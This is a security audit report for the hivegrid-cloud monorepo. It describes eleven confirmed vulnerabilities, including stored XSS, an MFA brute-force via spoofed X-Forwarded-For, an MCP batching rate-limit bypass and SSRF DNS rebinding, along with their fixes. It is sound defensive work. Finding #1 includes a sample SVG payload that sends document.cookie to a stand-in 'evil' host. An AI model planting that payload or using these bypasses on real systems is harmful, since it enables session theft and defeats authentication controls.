14 KiB
Security Audit — hivegrid-cloud
Date: 2026-07-04 Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification. Scope: full monorepo (apps/web, apps/api, apps/worker, apps/mcp, packages/*), with extra scrutiny on the freshly built MCP endpoint.
Result: 15 raw findings -> 11 confirmed (3 high, 3 medium, 5 low), 4 false positives filtered out, 0 need manual review.
Remediation status (2026-07-04)
All 11 confirmed findings fixed on branch akeshan/security-audit-fixes. Each fix has tests and passed the repo pre-commit gates (test-density, eslint-baseline, secrets, lint-staged) and the relevant app typecheck. Not yet merged/deployed — see the deploy prerequisite below.
- XSS — icon sanitization (
b1760f5be): route KB category (list + top-articles) and onboarding step icons throughsanitizeIconSvg()instead of a bare.replace("<svg", …); the KB renderers are reachable on the unauthenticated/docspage. (#1, #4, #8) - MCP rate-limit batching (
58b1ee990): parse the body before auth, count JSON-RPC operations, reject batches overMCP_MAX_BATCH_OPERATIONS(50), charge one token per operation. (#2) - MCP OAuth tenant kill-switch (
93d142bb8): reject deactivated tenants on the OAuth access path and the refresh grant, mirroring the API-key branch. (#5) - MCP hash-secret fail-closed (
58b2e338b, relaxed in16828fa38):loadMcpRuntimeConfigrefuses to boot in production without a resolvable token hash secret. (#7) - Login enumeration (
da1f37862): passwordless accounts now get the identical generic invalid-credentials response + dummy-hash comparison as an unknown email. (#9) - MFA XFF brute-force (
27b85682e): authoritative per-user MFA limiter (IP-independent) + trusted-header client IP. (#3) - Public-form XFF (
95293d2f1): lead-capture and embed-form per-IP limiters key on a trusted header. (#11) - MCP pre-auth shield (
48633aec7): per-IP fixed-window limiter before the token lookups; trusted-header client IP. (#10) - SSRF DNS-rebinding (
256b228fa): pin the outbound connection to the DNS-validated IP via an undici dispatcher. (#6)
Follow-ups in the same branch:
- Trusted-IP sweep (
9133a63e7): extend the trusted-client-IP hardening to the remaining leftmost-XFF throttles (API login limiter, API public-api + usage limiters, web auth throttle). - Magic-link hint (
e083a183c): re-surface the magic-link hint generically on the forgot-password sent state (removed from the login response by #9), without leaking account existence.
Deploy prerequisite for #7 (done for staging)
After #7 the MCP container refuses to boot in production until a token hash secret is set, instead of silently running on the public source-code constant. The guard requires a single resolvable secret — MCP_OAUTH_TOKEN_HASH_SECRET (or API_KEY_HASH_SECRET as a fallback), relaxed in 16828fa38 so one variable is sufficient.
Because the web app issues the OAuth tokens and the MCP app validates them with the same MCP_OAUTH_TOKEN_HASH_SECRET ?? API_KEY_HASH_SECRET, the secret must hold the same value on both the web and mcp resources. Setting it invalidates MCP OAuth tokens issued against the old fallback (clients re-authenticate once).
Status: provisioned on staging — MCP_OAUTH_TOKEN_HASH_SECRET set to the same openssl rand -hex 32 value on both hivegrid-web and hivegrid-mcp (2026-07-04), redeployed. No production Coolify exists yet; when it does, set the same variable there (same value on web + mcp) before deploying this branch.
Cross-cutting theme
Findings #3, #10, #11 (and the follow-up sweep) share one root cause: trusting the leftmost X-Forwarded-For value, which is client-controlled behind an appending proxy (Cloudflare/Traefik). New trusted-client-IP helpers read only proxy-set headers (CF-Connecting-IP / True-Client-Ip / X-Real-IP): getTrustedClientIp in apps/web/app/utils/server/IpUtils.ts, apps/api/src/trusted-client-ip.ts, and getClientIp in apps/mcp/src/http.ts.
1. [High] Stored XSS via unsanitized KB category icon on the public /docs help center
- Category: Stored XSS | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/web/app/modules/knowledgeBase/components/categories/KbCategoriesList.tsx:26(andKbCategoriesTopArticles.tsx:23, finding #4) - Data flow: KB editor sets category
icon(free-text,KbCategoryForm) -> stored verbatim (KnowledgeBaseService.server.ts) -> rendered viadangerouslySetInnerHTMLwithitem.icon.replace("<svg", "<svg class=…")(splices a class, strips nothing) -> unauthenticated/docs/:langroute -> executes in every anonymous visitor's browser.
Exploit scenario
A KB editor stores <svg><animate onbegin="fetch('//evil/c?'+document.cookie)"/></svg>. The /docs loader has no auth guard, so any anonymous visitor loading the page executes the payload in the app origin. Fixed by sanitizeIconSvg(), which strips script/foreignObject/event-handler vectors — the same sanitizer the sibling renderers already use.
2. [High] MCP rate limit bypassed via JSON-RPC batching
- Category: Rate-limiting / DoS | Verdict: confirmed | Fix effort: moderate | Finder confidence: high
- Location:
apps/mcp/src/rate-limit.ts:34,apps/mcp/src/transport.ts,apps/mcp/src/auth.ts - Data flow:
checkMcpRateLimitconsumed one token per HTTP request, but the Streamable-HTTP SDK dispatches every element of a JSON-RPC array body -> one authenticated POST carrying Ntools/callmessages ran all N handlers (incl. write tools) for one token.
Exploit scenario
An attacker with one valid MCP token sends a single POST with ~11,000 tools/call messages (fits in the 1 MB body cap), executing them all — mass writes / DB DoS within the tenant — while spending one of the 1,000/h key and 10,000/h tenant tokens. Fixed by counting operations, rejecting batches over 50, and charging one token per operation.
3. [High] MFA/TOTP brute-force via spoofed X-Forwarded-For
- Category: Auth / rate-limiting | Verdict: confirmed | Fix effort: moderate | Finder confidence: high
- Location:
apps/web/app/utils/auth/mfa/challenge-rate-limit.server.ts:39 - Data flow: MFA throttle keyed on
${userId}:${ip}whereip= leftmost (client-controlled)X-Forwarded-For-> attacker rotates the header per guess -> a fresh 5/5min bucket every time -> the 429 never fires.
Exploit scenario
An attacker holding the victim's password (thus a pending-MFA session) sends TOTP guesses with a random X-Forwarded-For per request, defeating the only anti-brute-force control on the 6-digit code — a full 2FA bypass. Fixed with an authoritative per-user limiter (keyed on userId alone, 15/15min) plus a trusted-header per-IP component.
4. [Medium] Stored XSS via KB icon on public /docs (KbCategoriesTopArticles)
- Category: Stored XSS | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/web/app/modules/knowledgeBase/components/categories/KbCategoriesTopArticles.tsx:23 - Data flow: Same defect as #1; injection is gated behind
admin.kb.*(platform operator), so severity is medium, but the payload still executes for every anonymous/docsvisitor. Fixed bysanitizeIconSvg().
5. [Medium] MCP OAuth path does not reject deactivated tenants
- Category: Broken access control | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/mcp/src/auth.ts:38,apps/web/app/services/mcp/oauth.server.ts(refresh grant) - Data flow: The API-key branch rejects
tenant.deactivatedReason; the OAuth access branch and the refresh grant never checked tenant status -> a suspended tenant keeps MCP read+write access, and the rotating refresh token extends it indefinitely.
Exploit scenario
Operations suspends a tenant for abuse/non-payment; its MCP client keeps reading CRM data and mutating projects/leads via still-valid OAuth tokens. Fixed by checking deactivatedReason in both the OAuth access branch and exchangeRefreshToken.
6. [Medium] SSRF DNS-rebinding TOCTOU in the outbound-HTTP guard
- Category: SSRF | Verdict: confirmed | Fix effort: moderate | Finder confidence: high
- Location:
packages/foundation/src/outbound-http.ts:35 - Data flow: The guard resolves the hostname and checks the addresses against the blocklist, but
fetch(url)re-resolves DNS independently at connect time -> a low-TTL hostname answers a public IP to the guard and an internal one (10.42.0.4 mesh, 169.254.169.254 metadata) to the connect.
Exploit scenario
An authenticated user submits a workflow HTTP block / webhook URL (WorkflowBlockService.ts, apps/worker/src/handlers.ts) whose hostname rebinds to an internal mesh IP; the auth-less mesh services (Meili, ClamAV, Loki, nsfw) are then reachable server-side. Fixed by pinning the connection to the validated IP via an undici dispatcher lookup (TLS SNI stays the hostname), re-pinned per redirect hop.
7. [Low] Hardcoded fallback HMAC secrets for MCP OAuth / API keys
- Category: Secrets / weak default | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/mcp/src/config.ts(guard),packages/db/src/mcp-oauth.server.ts:6 - Data flow: MCP OAuth token / legacy API-key hashing fall back to public source-code constants when the hash secrets are unset; the MCP runtime config read them as optional and booted silently on the fallback.
Exploit scenario
A prod MCP deploy missing the secrets hashes tokens with a source-known key, making stored hashes portable across any default-keyed deployment (defense-in-depth loss; DB-write compromise could then mint valid tokens). Fixed by failing closed in production. See the deploy prerequisite above.
8. [Low] Stored XSS via onboarding step icon
- Category: Stored XSS | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/web/app/modules/onboarding/blocks/OnboardingVariantModal.tsx:136 - Data flow: Same missing-sanitization pattern as #1; injection required the former host super-admin onboarding builder (
admin.onboarding.update) and the payload executed for all tenants' end users. Fixed bysanitizeIconSvg()before the admin builder was removed from the default admin surface.
9. [Low] Login leaks existence of magic-link-only accounts
- Category: Auth / account enumeration | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/web/app/modules/users/services/AuthService.ts:250 - Data flow: Passwordless (
passwordHash === null) accounts short-circuited with a distinct body (requiresMagicLink) beforeverifyPasswordand skippedrecordFailedLogin-> content + timing side-channel distinguishing invited accounts.
Exploit scenario
An attacker POSTs /login with a target email; a requiresMagicLink response (or a faster reply) marks it as a registered passwordless account. Fixed by falling through to the same dummy-hash comparison and generic invalid-credentials response as an unknown email; the magic-link hint moved to the forgot-password flow (e083a183c).
10. [Low] MCP endpoint has no pre-authentication rate limit
- Category: Rate-limiting / DoS | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/mcp/src/auth.ts:38,apps/mcp/src/rate-limit.ts - Data flow: The limiter was only reached after a token resolved, so requests with an invalid/absent token were never throttled yet still forced
findActiveMcpOAuthAccessToken+findLegacyApiKeyByKeylookups.
Exploit scenario
An unauthenticated attacker floods the MCP root with junk bearer tokens, forcing DB token lookups (partly on the primary DB) with no throttle. Fixed with a per-IP fixed-window shield (300/min, trusted IP) before the token lookups.
11. [Low] Public form per-IP rate limit bypassable via spoofed X-Forwarded-For
- Category: Rate-limiting / injection | Verdict: confirmed | Fix effort: low | Finder confidence: high
- Location:
apps/web/app/routes/api.leads.capture.tsx:80,apps/web/app/routes/api.embed.forms.$formKey.submit.tsx:166 - Data flow: The lead-capture and embed-form endpoints key the per-IP limiter on the leftmost
X-Forwarded-For-> a scripted attacker rotates the header to floodInboxLead/ form submissions.
Exploit scenario
An attacker sets an allowlisted Origin and a unique X-Forwarded-For per POST, bypassing the per-IP cap to spam the tenant's inbox. Fixed by deriving the IP from a trusted proxy header.
False positives filtered out (4)
- MCP read tools bypass RBAC (reported twice):
tenantHasMcpModulerequiresapp.settings.roles.setfor every MCP request -> only an RBAC-admin-equivalent user can reach the tools, so no privilege boundary is crossed. - Raw internal error messages to the MCP client: every attacker-controllable failure is pre-guarded into a controlled
McpHttpError; the residual leak is fault-only (DB outage), not attacker-drivable on demand. - URL uploads buffer the remote body with no size cap:
storageService.ts:96early-returns http URLs unless a caller passesreplace: true, and no production caller does -> unreachable dead code.
Verification (local, green)
apps/mcp/src/{transport,config,rate-limit}.test.ts · apps/web/app/utils/auth/mfa/challenge-rate-limit.server.test.ts · AuthService.passwordless.test.ts · AuthService.mfaLoginGate.test.ts · apps/web/app/utils/server/IpUtils.test.ts · apps/web/app/services/auth/auth-rate-limit.server.test.ts · apps/api/src/auth/login-rate-limit.test.ts · packages/foundation/src/outbound-http.test.ts · apps/worker/src/handlers.test.ts.
Known Windows environmentals (not regressions): the full apps/web vitest suite fails on Node 22.15 at new Request(...URLSearchParams) (undici) — affects e.g. registerFromRequest and the forgot-password action tests, not the changed component/limiter/login paths.